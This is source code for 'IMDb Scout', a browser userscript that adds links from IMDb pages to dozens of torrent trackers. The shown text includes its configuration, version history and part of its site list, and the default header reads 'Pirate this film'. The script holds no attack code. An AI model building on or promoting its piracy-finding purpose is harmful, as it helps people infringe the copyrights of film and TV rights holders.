var is_tv_page = Boolean($('title').text().match('TV Series')) ||
Boolean($('.tv-extra').length);
var is_movie_page = Boolean($('title').text().match(/.*? \(([0-9]*)\)/));
//Create area to put links in
perform(getLinkArea(), movie_id, movie_title,
is_tv_page, is_movie_page);
addIconBar(movie_id, movie_title);
}
//------------------------------------------------------
// Find/create elements
//------------------------------------------------------
function getLinkArea() {
// If it already exists, just return it
if ($('#imdbscout_header').length) {
return $('#imdbscout_header');
}
var p = $('<p />').append('<h2>' + GM_config.get('imdbscout_header_text') + '</h2>').attr('id', 'imdbscout_header').css({
'padding': '0px 20px',
'font-weight': 'bold'
});
$.each(valid_states, function(i, name) {
if (GM_config.get('one_line')) {
p.append($('<span />').attr('id', 'imdbscout_' + name));
} else {
var title = $('<span>' + name.replace('_', ' ') + ': </span>').css({
'textTransform': 'capitalize',
'min-width': '100px',
'display': 'inline-block'
});
p.append($('<div />').attr('id', 'imdbscout_' + name).append(title));
}
});
if ($('h1.header:first').length) {
$('h1.header:first').parent().append(p);
} else if ($('#title-overview-widget').length) {
$('#title-overview-widget').parent().append(p);
} else if ($('.titlereference-header').length) {
$('.titlereference-header').append(p);
} else {
$('#tn15rating').before(p);
}
return $('#imdbscout_header');
}
//------------------------------------------------------
// Create the config name
//------------------------------------------------------
function configName(site) {
if ('configName' in site) {
return 'show_' + site['configName'] + (site['TV'] ? '_TV' : '');
} else {
return 'show_' + site['name'] + (site['TV'] ? '_TV' : '');
}
}
//------------------------------------------------------
// Code being run (main)
//------------------------------------------------------
// Get everything configured
// Create the non-site dictionary for GM_config
var config_fields = {
'imdbscout_header_text': {
'label': 'Header text:',
'type': 'text',
'default': 'Pirate this film: '
},
'call_http_movie': {
'section': 'Movie Page:',
'type': 'checkbox',
'label': 'Actually check for torrents?',
'default': true
},
'load_on_start_movie': {
'type': 'checkbox',
'label': 'Load on start?',
'default': true
},
'hide_missing_movie': {
'type': 'checkbox',
'label': 'Hide missing links?',
'default': false
},
'use_icons_movie': {
'type': 'checkbox',
'label': 'Use icons instead of text?',
'default': false
},
'one_line': {
'type': 'checkbox',
'label': 'Show results on one line?',
'default': true
},
'ignore_type_movie': {
'type': 'checkbox',
'label': 'Search all sites, ignoring movie/tv distinction?',
'default': false
},
'highlight_missing_movie': {
'label': 'Highlight when not on:',
'type': 'text',
'default': ''
},
'call_http_search': {
'section': 'Search Page:',
'type': 'checkbox',
'label': 'Actually check for torrents?',
'default': true
},
'load_on_start_search': {
'type': 'checkbox',
'label': 'Load on start?',
'default': true
},
'hide_missing_search': {
'type': 'checkbox',
'label': 'Hide missing links?',
'default': false
},
'use_icons_search': {
'type': 'checkbox',
'label': 'Use icons instead of text?',
'default': false
},
'ignore_type_search': {
'type': 'checkbox',
'label': 'Search all sites, ignoring movie/tv distinction?',
'default': false
},
'highlight_missing_search': {
'label': 'Highlight when not on:',
'type': 'text',
'default': ''
}
};
// Add each site to a GM_config dictionary schema
// The GM_config default for checkboxes is false
$.each(sites, function(index, site) {
config_fields[configName(site)] = {
'section': (index == 0) ? ['Torrents:'] : '',
'type': 'checkbox',
'label': ' ' + site['name'] + (site['TV'] ? ' (TV)' : '')
};
});
// Icon sites should be shown by default though,
// since they barely use any resources.
$.each(icon_sites, function(index, icon_site) {
config_fields['show_icon_' + icon_site['name']] = {
'section': (index == 0) ? ['Other sites:'] : '',
'type': 'checkbox',
'label': ' ' + icon_site['name'],
'default': ('showByDefault' in icon_site) ?
icon_site['showByDefault'] : true
};
});
// Initialize and register GM_config
GM_config.init({
'id': 'imdb_scout',
'title': 'IMDb Scout Preferences',
'fields': config_fields,
'css': '.section_header { \
background: white !important; \
color: black !important; \
border: 0px !important; \
text-align: left !important;} \
.field_label { \
font-weight: normal !important;}',
'events':
{
'open': function() {
$('#imdb_scout').contents().find('#imdb_scout_section_2').find('.field_label').each(function(index, label) {
url = new URL(sites[index].searchUrl);
$(label).append(' ' + '<a class="grey_link" target="_blank" style="color: gray; text-decoration : none" href="' + url.origin + '">'
+ (/www./.test(url.hostname) ? url.hostname.match(/www.(.*)/)[1] : url.hostname) + '</a>');
$(label).prepend(getFavicon(sites[index], true));
});
$('#imdb_scout').contents().find('#imdb_scout_section_3').find('.field_label').each(function(index, label) {
$(label).prepend(getFavicon(icon_sites[index], true));
});
}
}
});
GM_registerMenuCommand('IMDb Scout Preferences', function() {GM_config.open()});
// Fetch per-site values from GM_config
$.each(sites, function(index, site) {
site['show'] = GM_config.get(configName(site));
});
$.each(icon_sites, function(index, icon_site) {
icon_site['show'] = GM_config.get('show_icon_' + icon_site['name']);
});
// Are we on a search page?
// This variable is camelCased to show it's global
// Hopefully it can be factored out of the global scope in the future
var onSearchPage = Boolean(location.href.match('search'));
$('title').ready(function() {
if (!onSearchPage && GM_config.get('load_on_start_movie')) {
performPage();
} else if (onSearchPage && GM_config.get('load_on_start_search')) {
performSearch();
} else {
displayButton();
}
});
| IMDb_Scout.user.js | // ==UserScript==
// @name IMDb Scout
// @namespace https://greasyfork.org/users/1057-kannibalox
// @description Add links from IMDb pages to torrent sites -- easy downloading from IMDb
//
// Preference window for userscripts, hosted by greasyfork:
// @require https://greasyfork.org/libraries/GM_config/20131122/GM_config.js
// @require http://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js
//
// @version 4.8.0
// @include http*://*.imdb.tld/title/tt*
// @include http*://*.imdb.tld/search/title*
// @include http*://*.imdb.com/title/tt*
// @include http*://*.imdb.com/search/title*
// @include http*://*iloveclassics.com/viewrequests.php?*
//
// @connect *
// @grant GM_log
// @grant GM_getValue
// @grant GM_setValue
// @grant GM_addStyle
// @grant GM_openInTab
// @grant GM_xmlhttpRequest
// @grant GM_registerMenuCommand
//
// ==/UserScript==
/*---------------------Version History--------------------
1.00 - Initial public release, everything works on barebones greasemonkey
1.50 - Added the ability to select which sites to load from the GM script commands
- Moved the required method to userscripts
- Removed FH, NZB, Avax
1.60 - Added style elements and shading to display on imdb
1.62 - Fixed bug:SCC-ARC not removing when unchecked
- Alphabetized list
1.70 - Cleaned up code
- Added option to not run script on page load
1.71 - Deprecated action-box field
1.80 - Added icons that link to OpenSubs, Criticker, RT, YT
1.81 - Added support for tv, only displays on shows listed as 'tv series'
- Added support for icheckmovies at top bar.
1.82 - Fixed title parsing for tv shows.
1.83 - Fixed dhive not working properly
1.90 - Set height of preference window to 450px, added scroll bar
1.91 - Added another 11 torrent sites
2.00 - Added auto updater
2.01 - Added TC, FreshOn, TVT, STF, CC
- Cleaned up code (tabbing)
- Removed THR
- Added TV-Rage to top bar
2.02 - Added PS, THC, HH, HDStar
- Fixed CC false positive
2.03 - TehC now uses tt
- Added Raymoz mod for AT
2.04 - Added HDbits
- Added TL
2.10 - Added genre page search functionality
2.11 - Fixed ICM because Nuked was whining
2.12 - Removed tvrage
- Fixed iCM (added tt)
- Added HDVNbits
- Changed RevTT to .me
- Added HDT
- removed autoupdate
2.13 - removed xvidme
- reinstated autoupdate
- removed google chrome code
- fixed hdvn and hdt issues
2.14 - Added @grant entries for API access
- Fixed tt parser to work on imdb pages with referral info in url
2.2 - Switch preferences window to use GM_config
- Consolidate icon & site lists
- Added IPT, KASS, sHD, and HDW
- Fix "Open All" link
- Add option for strikethroughs on search page
- Removed arrays from search URLs
- Spring cleaning
2.21 - Added SSL to TVT, HDME, TC, AHD, IPT, SCC
- Added SSL option for CG
- Added GFT, GFT-Gems, GFT-TV
- Fixed SCC, SCC-ARC search URL
- Removed TheBox, TheDVDClub
- Added more comments, cleaned up some more stuff
2.22 - Fixed TehC, BTN, BTN-Req, THC
- Added a bunch of TV sites, courtesy of seedless
- Added "both" option for sites, and made changes
to allow coexistence of movie and TV sites with
the same name
- Code re-organization, documentation
- Re-added code to allow an array for searchUrl
2.22.1 - Minor fixes
2.23 - Fixed THC, BTN
- Distinguish between movies and TV on search page
2.24 - Separate load_on_start option for search page
- Fix search_string on search page
2.25 - Added some helpful text when no sites have been enabled
2.26 - Added code to show links when on pages besides just the "front" one
(e.g. http://www.imdb.com/title/tt2310332/reference)
2.26.1 - Correctly detect TV shows when on aforementioned pages.
2.3 - Incorporate a bunch of changes courtesy of Inguin:
- Added SSL to AT, TE, D-noid, TG, YT, RT
- Changed tracker short titles to canonical form ADC, KG
- Updated D-noid from .me to .pw
- Fixed broken AT search; also updated to use .me so avoids redirect
- Added BitHQ, ET (eutorrents)
- Removed two broken THC; replaced with one fixed
- Removed iplay, horrorhaven, hdstar, scandbits, leecherslair
- Removed needless CG http/https duplication - plenty of listed sites self-sign
- A-Z sites list for readability
- Cleanup YT search string
- Copyedits
- Clean up code (tabs, trailing spaces)
- Use consistent naming style
- Added Letterboxd, Subscene to icons
- Added options for showing icons
2.31 - Added preliminary check for TSH
- Change all SCC links to .org
2.31.1 - Typo fix
2.32 - On uncertain pages, display both movie and TV sites
2.33 - Add year to possible search params
- Add rutorrent
2.33.1 - Change KG to .in
2.33.2 - Change TSH to .me
2.34 - Updated AT, TPB
- Removed HDWing, TVT and CHDBits
- Added RARBG
- Re-added reverse match checking to support rarbg
2.35 - Fixed YouTube icon, add SubtitleSeeker icon
- Added FL.ro, bB, BHD, HDS
- Fixed TL, TehC, HDb, HDVN, AHD, KG
- Renamed reverseMatch to positiveMatch
2.36 - Added Wikipedia to icon sites
2.36.1 - Typo fix
2.37 - Add PxHD
2.38 - Fix subtitle seeker
- Added CG-c
- Added FilmAffinity
- Added option to skip http check entirely
2.38.1 - Typo fix
2.38.2 - Global replace parameters
2.38.3 - Typo fix
3.00 - Clean up some formatting
- Add support for new IMDb page format
- Update jquery
3.0.1 - Added Classix
3.0.2 - Updated documentation/comments
3.0.3 - Removed GOEM, FY, PS, MT
- Added Metacritic, CanIStream.It?, AllMovie, Facebook, Amazon, Cartoon Chaos, MySpleen, Secret Cinema
- Fixed Wikipedia icon
3.1 - Handle HTTP failures less silently
3.1.1 - Fix KASS
3.1.2 - Fix TPB, TE, HDT
- Add MTV, DVDSeed
3.1.3 - Add M-T, UHDB, HDC, Blu-ray.com
- Fix scenehd, RT
3.1.4 - Add HDClub
3.2 - Fix the button on new-style pages
3.2.1 - Fix AHD
3.3 - Be less obnoxious about failed calls
3.4 - Add Netflix icon
- Remove a default parameter to satisfy Chrome
3.5 - Add KZ, NNM, BB-HD, t411, TD, Rutor
- Fix HDClub
- Fix preferences in Chrome, sort sites properly
3.5.1 - Remove DHive, Fix AHD
4.0 - Bring in UI changes courtesy of janot
- Add spaceEncode and goToUrl to site options
- Add option to show results as links instead of text
- Differentiate between missing and logged out
- General refactoring
4.1 - Add RARAT
4.2 - Fix t411
- Use magic .tld domain in @include
4.3 - Set @connect in metadata block
4.3.1 - Fix THC
4.3.2 - Add AR, TtN
- Add year and "trailer" to youtube search
- Fix M-team
4.3.3 - Fix BitHQ, PTP-Req, SCC
4.3.4 - Fix M-team, myspleen, avistaz, eutorrents
- Removed KAT
4.3.5 - Fix IPT, Freshon
- Add ExtraTorrent
4.3.6 - Fix Demonoid, EuTorrents (now CinemaZ)
- Fix "Actually search for torrents" option
- Add PrivateHD for movies and tv
4.3.7 - Apply CinemaZ fixes to AvistaZ as well
4.3.8 - Fix SurrealMoviez and MySpleen, switch to new PTP url
4.3.9 - Fix criticker, add CN
4.3.10 - Fix Netflix, MTV
4.3.11 - Add CHD back
4.3.12 - Fix typo
4.4 - Fix BeyondHD
- Allow unicode when searching by name
4.4.1 - Add trakt.tv
4.4.2 - Added XS, HD-S, PTN, TBD, Blutopia
- Removed Freshon, CN, ExT, t411, SCC
- Fixed SC, TE, TG, Tik
- Add .com for script runners that don't support .tld
4.5 - (Chameleon)
- Added an option to run on ILC request pages
- Fixed running on reference pages (new imdb style)
- Added a delay of 1 second between loading the same site (by domain) - no more popcorn quota timeouts
- Fixed running on search pages
4.5.1 - Removed (dead): BitHQ, TehC, FSS, ExtraTorrent, Cine-Clasico, and Secret-Cinema
- Fixed the hack on goToUrl
4.5.2 - Fixed filelist.ro, Tik, TD
- Added HDHome, HDU, OurBits
4.5.3 - Fixed TG, TE, HDSpace
- Added XS
4.5.4 - Fixed HDU
4.5.5 - Fixed BHD
4.6 - Option to highlight if the movie is missing from PTP
4.7 - Added option to ignore the movie/tv distinction
4.7.1 - Fix blutopia, hdchina, indenting
4.7.2 - Fix SDBits, M-T
- Add TTGg
4.7.3 - Enable on https versions of imdb sites
- Add TTG
4.8.0 - Add FinVip, JoyHD, TO, TP, TS, TVCK
- Fix TE, HDH, CZ, Subscene
- Remove SubtitleSeeker
- Rip out all site-specific code
- Fix up minor code smells
- Allow config name to be different from site name
--------------------------------------------------------*/
if (window.top != window.self) // Don't run on frames or iframes
{
return;
}
//------------------------------------------------------
// A list of all the sites, and the data necessary to
// check IMDb against them.
// Each site is a dictionary with the following attributes:
// - name:
// The site name, abbreviated
// - searchUrl:
// The URL to perform the search against, see below for how
// to tailor the string to a site
// - matchRegex:
// The string which appears if the searchUrl *doesn't* return a result
// - postiveMatch (optional):
// Changes the test to return true if the searchUrl *does* return
// a result that matches matchRegex
// - TV (optional):
// If true, it means that this site will only show up on TV pages.
// By default, sites only show up on movie pages.
// - both (optional):
// Means that the site will show up on both movie and TV pages
// - spaceEncode (optional):
// Changes the character used to encode spaces in movie titles
// The default is '+'.
// - goToUrl (optional):
// Most of the time the same URLs that are used for checking are
// the ones that are used to actually get to the movie,
// but this allows overriding that.
// - loggedOutRegex (optional):
// If any text on the page matches this regex, the site is treated
// as being logged out, rather than mising the movie. This option is
// not effected by postiveMatch.
// - configName (optional):
// Use this to allow changing names without breaking existing users.
// To create a search URL, there are four parameters
// you can use inside the URL:
// - %tt%:
// The IMDb id with the tt prefix (e.g. tt0055630)
// - %nott%:
// The IMDb id without the tt prefix (e.g. 0055630)
// - %search_string%:
// The movie title (e.g. Yojimbo)
// - %year%:
// The movie year (e.g. 1961)
// See below for examples
//------------------------------------------------------
var sites = [
{ 'name': 'ADC',
'searchUrl': 'https://asiandvdclub.org/browse.php?descr=1&btnSubmit=Submit&search=%tt%',
'matchRegex': /Your search returned zero results|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'AHD',
'searchUrl': 'https://awesome-hd.me/torrents.php?id=%tt%',
'matchRegex': /Your search did not match anything.|<h2>Error 404<\/h2>/,
'both': true},
{ 'name': 'AR',
'searchUrl': 'https://alpharatio.cc/torrents.php?searchstr=%search_string%+%year%&filter_cat[6]=1&filter_cat[7]=1&filter_cat[8]=1&filter_cat[9]=1',
'matchRegex': /Your search did not match anything/},
{ 'name': 'AR',
'searchUrl': 'https://alpharatio.cc/torrents.php?searchstr=%search_string%&filter_cat[1]=1&filter_cat[2]=1&filter_cat[3]=1&filter_cat[4]=1&filter_cat[5]=1',
'matchRegex': /Your search did not match anything/,
'TV': true},
{ 'name': 'AT',
'searchUrl': 'https://avistaz.to/movies?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true},
{ 'name': 'AT',
'searchUrl': 'https://avistaz.to/tv-shows?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true,
'TV': true},
{ 'name': 'Blutopia',
'searchUrl': 'https://blutopia.xyz/search??imdb=%nott%',
'both': true},
{ 'name': 'bB',
'searchUrl': 'https://baconbits.org/torrents.php?action=basic&filter_cat[9]=1&searchstr=%search_string%+%year%',
'matchRegex': /Your search was way too l33t|You will be banned for 6 hours after your login attempts run out/},
{ 'name': 'bB',
'searchUrl': 'https://baconbits.org/torrents.php?action=basic&filter_cat[8]=1&filter_cat[10]=1&searchstr=%search_string%',
'matchRegex': /Your search was way too l33t|You will be banned for 6 hours after your login attempts run out/,
'TV': true},
{ 'name': 'BB-HD',
'searchUrl': 'https://bluebird-hd.org/browse.php?search=&incldead=0&cat=0&dsearch=%tt%&stype=or',
'matchRegex': /Nothing found|Ничего не найдено/,
'both': true},
{ 'name': 'BHD',
'searchUrl': 'https://beyond-hd.me/browse.php?search=%tt%&searchin=title&incldead=1',
'matchRegex': /Nothing found!|Please login or Register a personal account to access our user area and great community/},
{ 'name': 'BHD',
'searchUrl': 'https://beyond-hd.me/browse.php?c40=1&c44=1&c48=1&c89=1&c46=1&c45=1&search=%search_string%&searchin=title&incldead=0',
'matchRegex': /Nothing found!|Please login or Register a personal account to access our user area and great community/,
'TV': true},
{ 'name': 'BitHD',
'searchUrl': 'http://www.bit-hdtv.com/torrents.php?cat=0&search=%tt%',
'matchRegex': /<h2>No match!<\/h2>/},
{ 'name': 'BMTV',
'searchUrl': 'https://www.bitmetv.org/browse.php?search=%search_string%',
'matchRegex': /Nothing found!<\/h2>/,
'TV': true},
{ 'name': 'BTN',
'searchUrl': 'https://broadcasthe.net/torrents.php?imdb=%tt%',
'matchRegex': /Error 404|Lost your password\?/,
'TV': true},
{ 'name': 'BTN-Req',
'searchUrl': 'https://broadcasthe.net/requests.php?search=%search_string%',
'matchRegex': /Nothing found|Lost your password\?/,
'TV': true},
{ 'name': 'CaCh',
'searchUrl': 'http://www.cartoonchaos.org/index.php?page=torrents&search=%search_string%&category=0&options=0&active=0',
'matchRegex': />Av.<\/td>\s*<\/tr>\s*<\/table>|not authorized to view the Torrents/,
'both': true},
{ 'name': 'CG',
'searchUrl': 'https://cinemageddon.net/browse.php?search=%tt%',
'matchRegex': /<h2>Nothing found!<\/h2>/,
'loggedOutRegex': 'Not logged in!'},
{ 'name': 'CG-c',
'searchUrl': 'https://cinemageddon.net/cocks/endoscope.php?what=imdb&q=%tt%',
'matchRegex': /<h2>Nothing found!<\/h2>/,
'loggedOutRegex': 'Not logged in!'},
{ 'name': 'CHD',
'searchUrl': 'https://chdbits.co/torrents.php?incldead=1&spstate=0&inclbookmarked=0&search_area=4&search_mode=0&search=%tt%',
'matchRegex': /Nothing found/},
{ 'name': 'Classix',
'searchUrl': 'http://classix-unlimited.co.uk/torrents-search.php?search=%search_string%',
'matchRegex': /Nothing Found<\/div>/},
{ 'name': 'CZ',
'configName': 'ET',
'searchUrl': 'https://cinemaz.to/movies?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true},
{ 'name': 'CZ',
'configName': 'ET',
'searchUrl': 'https://cinemaz.to/tv-shows?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true,
'TV': true},
{ 'name': 'Demnoid',
'searchUrl': 'http://www.demonoid.pw/files/?query=%tt%',
'matchRegex': /<b>No torrents found<\/b>|We are currently performing the daily site maintenance.<br>/,
'both': true},
{ 'name': 'DVDSeed',
'searchUrl': 'http://www.dvdseed.eu/browse2.php?search=%tt%&wheresearch=2&incldead=1&polish=0&nuke=0&rodzaj=0',
'matchRegex': /Nic tutaj nie ma!<\/h2>/},
{ 'name': 'eThor',
'searchUrl': 'http://ethor.net/browse.php?stype=b&c23=1&c20=1&c42=1&c5=1&c19=1&c25=1&c6=1&c37=1&c43=1&c7=1&c9=1&advcat=0&incldead=0&includedesc=1&search=%tt%',
'matchRegex': /Try again with a refined search string.|<h1>Note: Vous devez activer vos 'cookies' pour pouvoir vous identifier.<\/h1>/},
{ 'name': 'FL',
'searchUrl': 'https://filelist.ro/browse.php?search=%nott%',
'matchRegex': /<h2>Nu s-a găsit nimic!<\/h2>/,
'both': true},
{ 'name': 'FinVip',
'searchUrl': 'https://finvip.org/index.php?page=torrents&search=%tt%&options=1',
'matchRegex': /<td colspan="2" align="center"> <\/td>/},
{ 'name': 'GFT',
'searchUrl': 'https://www.thegft.org/browse.php?view=0&c2=1&c1=1&c9=1&c11=1&c48=1&c8=1&c18=1&c49=1&c7=1&c38=1&c46=1&c5=1&c13=1&c26=1&c37=1&c19=1&c47=1&c17=1&c4=1&c22=1&c25=1&c20=1&c3=1&search=%tt%&searchtype=0',
'matchRegex': /Nothing found!<\/h2>/},
{ 'name': 'GFT',
'searchUrl': 'https://www.thegft.org/browse.php?view=0&search=%search_string%',
'matchRegex': /Nothing found!<\/h2>/,
'TV': true},
{ 'name': 'GFT-Gems',
'searchUrl': 'https://www.thegft.org/browse.php?view=1&search=%tt%&searchtype=0',
'matchRegex': /Nothing found!<\/h2>/},
{ 'name': 'HD',
'searchUrl': 'http://hounddawgs.org/torrents.php?type=&userid=&searchstr=&searchimdb=%tt%&searchlang=&searchtags=&order_by=s3&order_way=desc&showOnly=#results',
'matchRegex': /<h2>Din søgning gav intet resultat.<\/h2>/,
'both': true},
{ 'name': 'HDb',
'searchUrl': 'https://hdbits.org/browse.php?c3=1&c1=1&c4=1&c2=1&imdb=%tt%',
'matchRegex': /Nothing here!|You need cookies enabled to log in/,
'both': true},
{ 'name': 'HDC',
'searchUrl': 'https://hdchina.org/torrents.php?incldead=0&spstate=0&inclbookmarked=0&boardid=0&seeders=&search=%tt%&search_area=4&search_mode=2',
'matchRegex': /Nothing found! Try again with a refined search string./},
{ 'name': 'HDClub',
'searchUrl': 'http://hdclub.org/browse.php?webdl=0&3d=0&search=&incldead=0&dsearch=%tt%',
'matchRegex': /Nothing was found|Ничего не найдено|Нічого не знайдено/,
'both': true},
{ 'name': 'HDH',
'configName': 'HDHome',
'searchUrl': 'http://hdhome.org/torrents.php?search_area=4&search=%tt%',
'matchRegex': /Nothing found! Try again with a refined search string/},
{ 'name': 'HDME',
'searchUrl': 'https://hdme.eu/browse.php?blah=2&cat=0&incldead=1&search=%tt%',
'matchRegex': /Try again with a refined search string.|<h1>You need cookies enabled to log in.<\/h1>/},
{ 'name': 'HDME',
'searchUrl': 'https://hdme.eu/browse.php?search=%search_string%&blah=0&cat=0&incldead=1',
'matchRegex': /Try again with a refined search string.|<h1>You need cookies enabled to log in.<\/h1>/,
'TV': true},
{ 'name': 'HDS',
'searchUrl': 'https://hdsky.me/torrents.php?incldead=1&search=%tt%&search_area=4&search_mode=0',
'matchRegex': /Nothing found! Try again with a refined search string|Email:[email protected]/},
{ 'name': 'HDS',
'searchUrl': 'https://hdsky.me/torrents.php?cat402=1&cat403=1&incldead=1&search=%search_string%&search_area=0&search_mode=0',
'matchRegex': /Nothing found! Try again with a refined search string|Email:[email protected]/,
'TV': true},
{ 'name': 'HDSpace',
'icon': 'http://www.favicon.by/ico/5991df36e3635.ico',
'searchUrl': 'https://hd-space.org/index.php?page=torrents&active=0&options=2&search=%nott%',
'matchRegex': /<td colspan="2" align="center"> <\/td>|You’re not authorized to view the Torrents!<br \/>/,
'both': true},
{ 'name': 'HDT',
'icon': 'https://hdts.ru/favicon.ico',
'searchUrl': 'http://hd-torrents.org/torrents.php?active=0&options=2&search=%tt%',
'matchRegex': /No torrents here.../,
'both': true},
{ 'name': 'HDU',
'searchUrl': 'https://pt.upxin.net/torrents.php?search_area=4&search=%tt%',
'matchRegex': /Nothing found! Try again with a refined search string/},
{ 'name': 'HDVN',
'searchUrl': 'http://torviet.com/torrents.php?search=%tt%&search_area=4&search_mode=0',
'matchRegex': /Nothing found! Try again with a refined search string|You need cookies enabled to log in or switch language/,
'both': true},
{ 'name': 'ILC',
'searchUrl': 'http://www.iloveclassics.com/browse.php?incldead=1&searchin=2&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>Not logged in!<\/h1>/},
{ 'name': 'IPT',
'searchUrl': 'https://www.iptorrents.com/torrents/?q=%tt%',
'matchRegex': /<h1 style="color:yellow">No Torrents Found!/},
{ 'name': 'IPT',
'searchUrl': 'https://www.iptorrents.com/torrents/?q=%search_string%',
'matchRegex': /<h1 style="color:yellow">No Torrents Found!/,
'TV': true},
{ 'name': 'JoyHD',
'searchUrl': 'http://www.joyhd.org/torrents.php?search_area=4&search=%tt%',
'matchRegex': /Nothing found! Try again with a refined search string/},
{ 'name': 'KG',
'searchUrl': 'https://www.karagarga.in/browse.php?search_type=imdb&search=%nott%',
'matchRegex': /<h2>No torrents found|<h1>If you want the love<\/h1>/},
{ 'name': 'KZ',
'searchUrl': 'http://kinozal.tv/browse.php?s=%search_string%+%year%&g=0&c=1002&v=0&d=0&w=0&t=0&f=0',
'matchRegex': 'Нет активных раздач, приносим извинения. Пожалуйста, уточните параметры поиска'},
{ 'name': 'KZ',
'searchUrl': 'http://kinozal.tv/browse.php?s=%search_string%+%year%&g=0&c=1001&v=0&d=0&w=0&t=0&f=0',
'matchRegex': 'Нет активных раздач, приносим извинения. Пожалуйста, уточните параметры поиска',
'TV': true},
{ 'name': 'M-T',
'searchUrl': 'https://tp.m-team.cc/torrents.php?incldead=1&spstate=0&inclbookmarked=0&search=%tt%&search_area=4&search_mode=0',
'matchRegex': /Nothing here!|Try again with a refined search string./,
'both': true},
{ 'name': 'MS',
'searchUrl': 'http://www.myspleen.org/browse.php?search=%search_string%&title=0&cat=0',
'matchRegex': /<strong>Nothing found!<\/strong>|<title>MySpleen :: Login<\/title>/,
'both': true},
{ 'name': 'MTV',
'searchUrl': 'https://www.morethan.tv/torrents.php?searchstr=%search_string%+%year%&tags_type=1&order_by=time&order_way=desc&group_results=1&filter_cat%5B1%5D=1&action=basic&searchsubmit=1',
'matchRegex': /<h2>Your search did not match anything.<\/h2>/},
{ 'name': 'MTV',
'searchUrl': 'https://www.morethan.tv/torrents.php?searchstr=%search_string%&tags_type=1&order_by=time&order_way=desc&group_results=1&filter_cat%5B2%5D=1&action=basic&searchsubmit=1',
'matchRegex': /<h2>Your search did not match anything.<\/h2>/,
'TV': true},
{ 'name': 'NNM',
'searchUrl': 'https://nnm-club.me/forum/tracker.php?nm=%search_string%+%year%',
'matchRegex': 'Не найдено',
'both': true},
{ 'name': 'NB',
'searchUrl': 'https://norbits.net/browse.php?incldead=1&fullsearch=0&scenerelease=0&imdbsearch=%tt%&imdb_from=0&imdb_to=0&search=',
'matchRegex': /<h3>Ingenting her!<\/h3>/,
'both': true},
{ 'name': 'NBL',
'searchUrl': 'https://nebulance.io/torrents.php?order_by=time&order_way=desc&searchtext=%search_string%&search_type=0&taglist=&tags_type=0',
'matchRegex': /Your search did not match anything/,
'TV': true},
{ 'name': 'OurBits',
'searchUrl': 'https://ourbits.club/torrents.php?search_area=4&search=%tt%',
'matchRegex': /Nothing found! Try again with a refined search string/},
{ 'name': 'PHD',
'searchUrl': 'https://privatehd.to/movies?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true},
{ 'name': 'PHD',
'searchUrl': 'https://privatehd.to/tv-shows?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true,
'TV': true},
{ 'name': 'PTN',
'icon': 'https://piratethenet.org/pic/favicon.ico',
'searchUrl': 'https://piratethenet.org/browseold.php?incldead=1&_by=3&search=%tt%',
'matchRegex': /Nothing found!/,
'both': true},
{ 'name': 'PTP',
'searchUrl': 'https://passthepopcorn.me/torrents.php?imdb=%tt%',
'matchRegex': /<h2>Your search did not match anything.<\/h2>/},
{ 'name': 'PTP-Req',
'searchUrl': 'https://passthepopcorn.me/requests.php?submit=true&search=%tt%',
'matchRegex': /Your search did not match anything.|<h1>Keep me logged in.<\/h1>/},
{ 'name': 'PxHD',
'searchUrl': 'https://pixelhd.me/torrents.php?groupname=&year=&tmdbover=&tmdbunder=&tmdbid=&imdbover=&imdbunder=&imdbid=%tt%&order_by=time&order_way=desc&taglist=&tags_type=1&filterTorrentsButton=Filter+Torrents',
'matchRegex': /<h2>Your search did not match anything.<\/h2>/},
{ 'name': 'RARAT',
'searchUrl': 'https://rarat.org/api/v1/torrents?extendedSearch=false&hideOld=false&index=0&limit=15&order=asc&page=search&searchText=%tt%&sort=n#https://rarat.org/search?search=%tt%',
'goToUrl': 'https://rarat.org/search?search=%tt%',
'matchRegex': /^$/,
'both': true},
{ 'name': 'RARBG',
'searchUrl': 'https://rarbg.to/torrents.php?imdb=%tt%',
'matchRegex': '//dyncdn.me/static/20/images/imdb_thumb.gif',
'positiveMatch': true,
'both': true},
{ 'name': 'RevTT',
'searchUrl': 'https://www.revolutiontt.me/browse.php?search=%tt%',
'matchRegex': /<h2>Nothing found!<\/h2>/},
{ 'name': 'RevTT',
'searchUrl': 'https://www.revolutiontt.me/browse.php?search=%search_string%&cat=0&incldead=1&titleonly=1',
'matchRegex': /<h2>Nothing found!<\/h2>/,
'TV': true},
{ 'name': 'RuT',
'searchUrl': 'https://rutracker.org/forum/tracker.php?nm=%search_string%',
'matchRegex': 'Не найдено',
'both': true},
{ 'name': 'Rutor',
'searchUrl': 'http://rutor.info/search/0/0/010/0/%tt%',
'matchRegex': 'Результатов поиска 0',
'both': true},
{ 'name': 'SDBits',
'searchUrl': 'https://sdbits.org/browse.php?c6=1&c3=1&c1=1&c4=1&c5=1&c2=1&m1=1&incldead=0&from=&to=&imdbgt=0&imdblt=10&uppedby=&imdb=&search=%tt%',
'matchRegex': /Nothing found!|<h1>You need cookies enabled to log in.<\/h1>/},
{ 'name': 'sHD',
'searchUrl': 'https://scenehd.org/browse.php?search=%tt%',
'matchRegex': /<h2>No torrents found!<\/h2>/},
{ 'name': 'SM',
'searchUrl': 'https://surrealmoviez.info/search.php?stext=%tt%',
'matchRegex': /0 Movies found matching search criteria|You need to be logged in to view this page/},
{ 'name': 'TBD',
'icon': 'https://1.bp.blogspot.com/-F2JeKtPCJYI/VgjpVxwMO4I/AAAAAAAAADg/VyNyp-yW9Ac/s1600/TBD.ico',
'searchUrl': 'http://www.torrentbd.com/torrent/torrents-search.php?search=%search_string%',
'matchRegex': /No torrents were found based on your search criteria./,
'both': true},
{ 'name': 'TD',
'searchUrl': 'https://www.torrentday.com/t?q=%tt%',
'matchRegex': /No Torrents Found!/,
'both': true},
{ 'name': 'TE',
'searchUrl': 'https://theempire.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'TG',
